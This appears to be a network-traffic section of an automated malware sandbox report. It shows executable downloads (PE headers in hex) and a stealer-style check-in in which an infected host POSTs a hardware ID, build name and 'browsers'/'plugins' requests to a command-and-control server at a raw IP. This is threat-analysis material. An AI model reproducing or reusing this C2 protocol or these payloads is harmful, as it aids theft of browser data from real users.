Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:22:08 GMTContent-Type: application/octet-streamContent-Length: 3128832Last-Modified: Tue, 12 Nov 2024 20:08:49 GMTConnection: keep-aliveETag: "6733b5d1-2fbe00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 43 a3 32 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 dc 03 00 00 c8 00 00 00 00 00 00 00 d0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 30 00 00 04 00 00 d1 a1 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 50 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 51 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 30 05 00 00 10 00 00 00 30 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 40 05 00 00 00 00 00 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 50 05 00 00 02 00 00 00 40 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 68 65 75 74 69 72 6e 6d 00 60 2a 00 00 60 05 00 00 56 2a 00 00 42 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 78 6b 74 64 63 67 63 00 10 00 00 00 c0 2f 00 00 04 00 00 00 98 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 2f 00 00 22 00 00 00 9c 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:22:13 GMTContent-Type: application/octet-streamContent-Length: 1811456Last-Modified: Tue, 12 Nov 2024 20:08:55 GMTConnection: keep-aliveETag: "6733b5d7-1ba400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 69 00 00 04 00 00 2d ec 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 67 6f 69 63 77 70 69 00 10 1a 00 00 70 4f 00 00 08 1a 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6c 72 79 7a 7a 79 61 00 10 00 00 00 80 69 00 00 04 00 00 00 7e 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 69 00 00 22 00 00 00 82 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:22:22 GMTContent-Type: application/octet-streamContent-Length: 2811392Last-Modified: Tue, 12 Nov 2024 20:07:34 GMTConnection: keep-aliveETag: "6733b586-2ae600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 69 74 6b 62 6c 71 67 00 a0 2a 00 00 a0 00 00 00 84 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 78 72 74 6a 78 61 00 20 00 00 00 40 2b 00 00 06 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:22:29 GMTContent-Type: application/octet-streamContent-Length: 2811392Last-Modified: Tue, 12 Nov 2024 20:07:36 GMTConnection: keep-aliveETag: "6733b588-2ae600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 69 74 6b 62 6c 71 67 00 a0 2a 00 00 a0 00 00 00 84 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 78 72 74 6a 78 61 00 20 00 00 00 40 2b 00 00 06 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:22:42 GMTContent-Type: application/octet-streamContent-Length: 2811392Last-Modified: Tue, 12 Nov 2024 20:07:36 GMTConnection: keep-aliveETag: "6733b588-2ae600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 69 74 6b 62 6c 71 67 00 a0 2a 00 00 a0 00 00 00 84 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 78 72 74 6a 78 61 00 20 00 00 00 40 2b 00 00 06 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 12 Nov 2024 20:23:11 GMTContent-Type: application/octet-streamContent-Length: 2811392Last-Modified: Tue, 12 Nov 2024 20:07:36 GMTConnection: keep-aliveETag: "6733b588-2ae600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 34 df 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 69 74 6b 62 6c 71 67 00 a0 2a 00 00 a0 00 00 00 84 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6f 78 72 74 6a 78 61 00 20 00 00 00 40 2b 00 00 06 00 00 00 be 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 c4 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBFBFCBFBKECAAKJKFBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 42 36 31 44 43 42 31 33 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 42 2d 2d 0d 0a Data Ascii: ------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="hwid"E3B61DCB13684217651120------GDBFBFCBFBKECAAKJKFBContent-Disposition: form-data; name="build"mars------GDBFBFCBFBKECAAKJKFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="message"browsers------BGCAAFHIEBKJKEBFIEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGIJKEHCAKFCAKFHDAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 64 37 34 35 64 33 32 39 38 39 64 31 36 38 64 33 36 63 65 36 36 38 30 37 37 35 36 39 39 63 65 33 35 37 32 39 63 66 33 37 62 39 61 36 63 65 35 37 32 31 65 64 64 63 32 32 64 30 32 38 64 30 65 64 33 63 65 31 65 34 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 49 4a 4b 45 48 43 41 4b 46 43 41 4b 46 48 44 41 41 2d 2d 0d 0a Data Ascii: ------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="token"4d745d32989d168d36ce6680775699ce35729cf37b9a6ce5721eddc22d028d0ed3ce1e44------AEGIJKEHCAKFCAKFHDAAContent-Disposition: form-data; name="message"plugins------AEGIJKEHCAKFCAKFHDAA--
